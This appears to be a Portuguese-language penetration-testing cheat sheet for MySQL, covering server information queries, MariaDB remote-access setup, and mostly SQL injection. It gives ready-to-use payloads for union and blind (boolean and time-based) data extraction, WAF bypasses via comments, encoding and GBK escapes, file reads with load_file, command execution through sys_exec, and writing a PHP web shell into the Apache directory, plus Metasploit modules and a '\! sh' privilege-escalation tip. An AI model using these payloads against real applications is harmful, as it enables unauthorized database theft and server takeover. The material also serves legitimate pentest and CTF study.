MySQL

DICA: Se estiver logado no mysql via terminal e quiser utilizar o terminal do SO com as mesmas autenticações do MySQL, basta utilizar o comando: \! sh. Caso o MySQL estiver sendo executado como root, isso acaba se tornando um fácil PrivEsc.

Obtendo Informações Sobre o MySQL

QUERY

DESCRIÇÃO

SELECT @@hostname

Nome do host

SELECT @@version

Versão do MySQL e do SO

SELECT version()

Versão do MySQL e do SO

SELECT @@datdir

Local onde o MySQL está instalado

SELECT system_user()

Usuário do sistema

SELECT current_user()

Usuário que está executando os comandos

SELECT user()

Usuário que está executando os comandos

SELECT user, password, host FROM mysql.user

Vendo todos os usuarios do DB

SELECT database()

Nome do Banco de Dados está sendo utilizado

SHOW VARIABLES

Mostra as variáveis do MySQL

Instalando MariaDB + Criação de Usuário + Acesso Externo

Instale o MariaDB (Altere a versão caso precise)

sudo apt install mariadb-server-10.5 mariadb-client-10.5
sudo service mariadb start

Acesse o Banco de Dados

mysql -u root -p

Altere a senha do usuário root

ALTER USER 'root'@'localhost' IDENTIFIED BY '<new_password>';

Crie um novo database com uma tabela

CREATE DATABASE <database>;
USE <database>;
CREATE TABLE <table> (<column> VARCHAR(2000));

Crie um novo usuário do MariaDB

CREATE USER '<user>'@'<ip_access_external>' IDENTIFIED BY '<new_password>';

Dê permissão ao novo usuário para determinada IP

GRANT ALL PRIVILEGES ON <database>.* TO '<user>'@'<ip_access_external>'; 
FLUSH PRIVILEGES;

Libere acesso na porta 3306 através do firewall

ufw allow from <ip_access_external> to any port 3306

Edita o arquivo de configuração (/etc/mysql/mariadb.conf.d/50-server.cnf), e altere a linha #bind-address = 127.0.0.1 para bind-address = 0.0.0.0. Se preferir, utilize o IP da interface de rede ao invés de 0.0.0.0.

Reinicie o MariaDB e já está pronto para acessar.

sudo service mariadb restart

Order By

Com o comando order by, podemos saber quantas colunas o banco de dados está retornando

http://<site>/photo.php?id=1 order by 1
http://<site>/photo.php?id=1 order by 1,2,3

Nos dois exemplos acima, basta ir aumentando o número do order by até dar erro. Quando der erro, significa que o valor anterior é a quantidade de colunas retornada na query

Union

Agora que já sabemos a quantidade de colunas utilizando o comando order by, vamos fazer um union

http://<site>/photo.php?id=1 union select 1,2,3,4,5,6,7,8,9

OBS.: Também podemos utilizar o union para saber a quantidade de colunas baseada em erros, assim como no order by.

NOTA: Isso funciona para o MySQL, a metodologia é diferente para outros bancos de dados, os valores 1,2,3,... devem ser alterados para null,null,null... para o banco de dados que precisa do mesmo tipo de valor nos 2 lados (SELECT inicial e SELECT do UNION). No Oracle é obrigado a usar o FROM, quando o SELECT for utilizado.

Limit

As vezes podemos usar algum payload de forma que a query nos retorne todos os dados, porém nosso amigo programador limitou esse resultado para pegar apenas 1 registro, usando a linguagem de programação da aplicação ao invés de usar o limit do MySQL. Para esse cenário, devemos utilizar a seguinte técnica para nos trazer apenas 1 registro de cada vez, porém percorrendo todas as linhas de uma determinar tabela, enviando uma requisição para cada registro.

# Retornando apenas o primeiro registro da tabela
' or '1'='1' LIMIT 1,1

# Retornando apenas o segundo registro da tabela
' or '1'='1' LIMIT 2,1

# Retornando apenas o terceiro registro da tabela
' or '1'='1' LIMIT 3,1

SQL Blind

Verificando tamanho do nome dos Databases

Altere a quantidade no final do payload abaixo, até encontrar o valor correto.

LENGTH((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1)) = <length>

IMPORTANTE: Estamos utilizando o LIMIT 1,1, isso significa que só irá retornar o primeiro database. Depois de achar o valor correto, filtre pelo segundo database, modificando para LIMIT 2,1 e assim sucessivamente. Utilize isso para dar continuidade nas verificações abaixo.

Buscando nomes de Databases

Podemos realizar um injection para verificar se existe algum database no banco de dados que comece uma determinada letra. Tente a letra "a", caso seja false, tente a letra "b", e assim sucessivamente,a até encontrar uma letra que retorne true.

SUBSTRING((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1),1,1) = '<primeira_letra>'

Depois de encontrar a primeira letra do nome do database, vamos procurar pela segunda letra e assim por diante, até mapearmos o nome do database. Atente-se que os databases também pode conter números, underlines, etc, então não se limite a apenas testes com letras.

SUBSTRING((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1),1,2) = '<primeira_letra><segunda_letra>'

Buscando nomes de Tabelas

Aqui estamos utilizando o database(), que serve para utilizarmos como base, o database que está conectado no momento, então altere esse valor caso queira procurar tabelas de outro database.

SUBSTRING((SELECT DISTINCT(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,1) = '<primeira_letra>' 
SUBSTRING((SELECT DISTINCT(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,2) = '<primeira_letra><segunda_letra>' 

Buscando nomes de Colunas

SUBSTRING((SELECT DISTINCT(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name = '<tabela>' LIMIT 1,1),1,1) = '<primeira_letra>'

Buscando valores de uma Coluna

SUBSTRING((SELECT DISTINCT(<coluna>) FROM <tabela> LIMIT 1,1),1,1) = '<primeira_letra>'

Sleep

Utilize o sleep e verifique se ele é processado, ou seja, se apresenta delay na resposta. Caso seja, significa que o alvo está vulnerável a SQL Injection Blind. Obviamente o sleep não é exclusivo para Blind, porém aqui se torna mais útil, já que no SQL Blind não tem um retorno tão rico de informações.

http://<site>/photo.php?id=1 or sleep(5)

Caso confirme a existência da vulnerabilidade, podemos fazer queries para validar a existência de dados.

OR (SELECT sleep(5) FROM information_schema.tables WHERE table_schemalike '<primeira_letra>%') = 1 -- 

OR IF((SELECT MID(<column>,1,1) FROM <tabela> LIMIT 1,1) = '<primeira_letra>', sleep(5), sleep(1)) -- 

OR (LENGTH((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1)) = <length> AND sleep(5))

Bypass em Espaços

Quando o alvo estiver barrando espaços, utilize /**/ ou %20 no lugar do espaço, exemplo:

SELECT/**/*/**/FROM/**/<table>
1'%20or%20'1'='1

Também podemos usar uma tabulação (HT ou \t) para fazer bypass em espaço.

x'%09or%091%3D1%09--%09

DICA: Para queries simples como admin'or'1'='1, não precisa de colocar espaços

Bypass em Where

O valor de <table> abaixo deve ser sempre o mesmo, pois estamos fazendo um join com a mesma tabela e jogando a condição em seguida, substituindo assim a utilização do where

select <alias_table1>.<column> from <table> <alias_table1> join <table> on <alias_table1>.<column> = '<where_condition>'

Bypass em Vírgulas

Caso o WAF não permita que digite vírgula(s), utilize o seguinte padrão:

SELECT * FROM (SELECT 'teste1')a JOIN(SELECT 'teste2')b JOIN(SELECT 'teste3')c

Bypass em information_schema

information_schema/**/./**/tables
`information_schema`.`tables`
`information_schema`/**/./**/`tables`  

Bypass com Encode

# 1' or '1'='1
\u0031\u0027 \u006f\u0072 \u0027\u0031\u0027\u003d\u0027\u0031

# union select 1,2,3
+/*!u%6eion*/+/*!se%6cect*/+1,2,3

Injection em Comentários

Em casos raros na vida real (porém prováveis em CTF), nossos parâmetros (GET ou POST) podem ficar dentros comentários de SQL (/* <param> */). É possível realizar um bypass utilizando o !, deixando o código final no seguinte formato:

SELECT * FROM <tabela> WHERE id = /*! <injection> */

Comandos Úteis de MySQL

As vezes os comandos abaixo podem não retornar nada ou retornar erro caso esteja utilizando um union, então se possível deixe os comandos abaixo como um subselect, exemplo: <query_vuln> union all select null, null,(<query_abaixo>) from <table>

Retornando o nome de todos os databases

select group_concat(table_schema) from information_schema.tables

Retornando o nome de todas as tabelas, separadas por vírgula

select group_concat(table_name) from information_schema.tables where table_schema=database()

Retornando o nome de todas as colunas de uma determinada tabela, separadas por vírgula

 select group_concat(column_name) from information_schema.columns where table_name='<nome_tabela>'

Retornando os valores de uma determinada coluna

select group_concat(<column>) from <table>

Lê o conteúdo de determinado arquivo.

select load_file('<file>')

OBS.: Caso não consiga utilizar o comando acima, execute o comando SHOW VARIABLES LIKE "secure_file_priv" para verificar se o módulo de segurança está habilitado.

Outra maneira de lermos arquivo, é utilizando o seguinte comando:

CREATE TABLE <table> (<column> TEXT);
LOAD DATA LOCAL INFILE '<file>' INTO TABLE <table> FIELDS TERMINATED BY '\n';

Caso não tenha êxito no comando, acesse o mysql com o seguinte comando: mysql -u <user> -p --enable-local-infile -h <host>

Executa um comando no shell e salva em um arquivo

select sys_exec('cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/passwd')
# ou
select sys_eval('cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/passwd')

OBS.: Se nenhum dos dois comando acima funcionar, pode usar o UDF (User Defined Function)

Grava um Shell PHP no diretório do apache.

select '<?php echo shell_exec($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'

OBS.: Quando for usar o INTO OUTFILE, utilize sempre o / para indicar o caminho absoluto do arquivo que irá salvar, mesmo que o alvo seja um Windows. O mesmo vale para load_file.

Lista os usuários do banco e se tem permissão de escrita (Y). OBS.: O 0x3a serve somente para colocar um : (dois pontos) entre o nome do usuário e a permissão que está atribuída.

select group_concat(user,0x3a,file_priv) from mysql.user

Também podemos automatizar a permissão deescrita utilizando o Metasploit, porém é preciso ter as credenciais de acesso.

msfconsole -q
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS <ip>
set DIR_LIST <wordlist.txt>
set VERBOSE true
exploit

Também podemos descobrir se determinados arquivos existem no servidor.

msfconsole -q
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS <ip>
set FILE_LIST <wordlist.txt>
exploit

Conecta no banco e executa uma query, sem ficar no modo interativo.

mysql -u <user> -p<senha> -D <database> -e "<query>"

ATENÇÃO: Atente-se ao p antes da senha, não coloque espaço entre eles.

Criando um novo usuário no MySql (esteja conectado no MySQL antes):

CREATE USER '<novo_usuario>'@'localhost' IDENTIFIED BY '<nova_senha>';
GRANT ALL PRIVILEGES ON *.* TO '<novo_usuario>'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;

Fazendo Dump e Restore

# Realiza DUMP
sudo mysqldump -u root -h localhost <database> > <arquivo.sql>
# Restora o Database
sudo mysql -u root -h localhost <database> < <arquivo.sql>

GBK

GBK é um conjunto de caracteres chineses simplificados, que podem ser utilizados como aspas simples em um injection, caso o driver do banco de dados do alvo não "fale" o mesmo tipo de caracteres (CHARSET).

Usando a string \xBF' (que pode ser codificada em URL como %bf%27), é possível obter um escape.

admin%bf%27 or 1=1 --

NOTA: Essa descoberta foi feita em 2006, então vai ser muito raro encontrar esse tipo de situações, porém pode ser útil em CTF's.

Sites

# Falhas de MSSQL Server
http://www.sqlsecurity.com  

# Comando úteis para MSSQL
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://www.w3resource.com/slides/mysql-string-functions.php  

# Conversão de payload com alguns encodes
https://www.branah.com/unicode-converter

# Configurando o MySQL para acessar externamente
https://www.cyberciti.biz/tips/how-do-i-enable-remote-access-to-mysql-database-server.html

# Macetes
https://pt.slideshare.net/AvinashThapa2/waf-bypassing-techniques

# Guia para fazer ByPass em Firewall  
http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html

Last updated